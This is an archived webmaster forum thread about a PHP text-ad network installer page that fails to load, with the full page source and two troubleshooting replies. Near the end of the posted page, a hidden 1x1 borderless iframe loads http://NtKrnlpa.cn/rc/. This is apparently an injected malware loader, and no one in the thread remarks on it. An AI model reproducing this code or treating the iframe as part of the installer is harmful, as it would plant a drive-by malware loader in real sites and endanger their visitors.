Help - Search - Members - Calendar
Full Version: Php Won't Load Please Advise
Zymic Webmaster Forums > Web Design & Development > Server Side Scripting > PHP
dee
I'm trying to run this setup program and the page says "the file cannot be loaded properly" I have set permissions to 777 and not sure what the problem is. any input appreciated

http://adsrus.vndv.com/admin/install/install.php

CODE
<?
//********************************************************************************
***********

require ("path.php");
require(PATH."include/include.php");

//********************************************************************************
***********
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="Keywords" content="Keywords">
<link rel="stylesheet" type="text/css" href="../style/style.css" media="screen">
<title>Text Ad Installation</title>
</head>

<body>
<div id="leftsidebar"><br>
<h2 align="center" class="style7">Text Ad Network Script Installation</h2>
<table width="85%" border="0" align="center">
<form action="install_submit.php" method="post">
<tr>
<td colspan="2">
<? if ( isset($_GET["info"]) ) echo getInfo($_GET["info"]); ?>
<p>Before you start this installation, please make sure you have entered your correct database connection details by editing the <strong>site_constants.php</strong> file within the <strong>'includes'</strong> folder. You must also edit<strong> path.php</strong> and <strong>admin/path.php </strong></p>
<p>To install this script, please choose the options you want below, and then press the 'Install' button.</p> </td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><strong>Default Currency </strong></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><select name="currency">
<option value="£" selected="selected">£ - UK Pounds</option>
<option value="$">$ - US Dollars</option>
<option value="Eu">€ - Euros</option>
</select></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><strong>Checkout Payment Gateway </strong></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><select name="paymentType">
<option value="1" selected="selected">Paypal</option>
<option value="2">protx</option>
<option value="3">2checkout.com</option>
</select></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Choose Only one, of either, Paypal, 2checkout or Protx. </td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="32%"><p>Your Paypal Address</p></td>
<td width="68%"><input type="text" name="paypalEmail"></td>
</tr>
<tr>
<td><p>2checkout.com ID</p></td>
<td><input type="text" name="id2CO"></td>
</tr>
<tr>
<td><p>Protx Vendor Code</p></td>
<td><input type="text" name="protxVendor"></td>
</tr>
<tr>
<td> Protx Encryption Password</td>
<td><input type="text" name="protxEncPwd"></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><strong>Admin Username and Password For Your Admin Control Panel. Admin can be found at &lt;root folder&gt;/admin </strong></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td>Username</td>
<td><input type="text" name="adminUid"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="text" name="adminPwd"></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2">Please check the options you have submitted above, and then press the 'Install' button. </td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
<tr>
<td colspan="2"><input type="submit" name="Submit" value="Install"></td>
</tr>
</form>
</table>
<p align="center"> </p>
<div id="footer">
Powered By admate.com</div>
</div>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>

</html>
emoritz
you have a space between require and ("path.php"); for starters
i dunno how strict this server is on syntax
Andrew
Well considering that is a custom error message it looks like it's coming from path.php or include/include.php

Either post the source of those files, or follow the email link the error gives.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2012 Invision Power Services, Inc.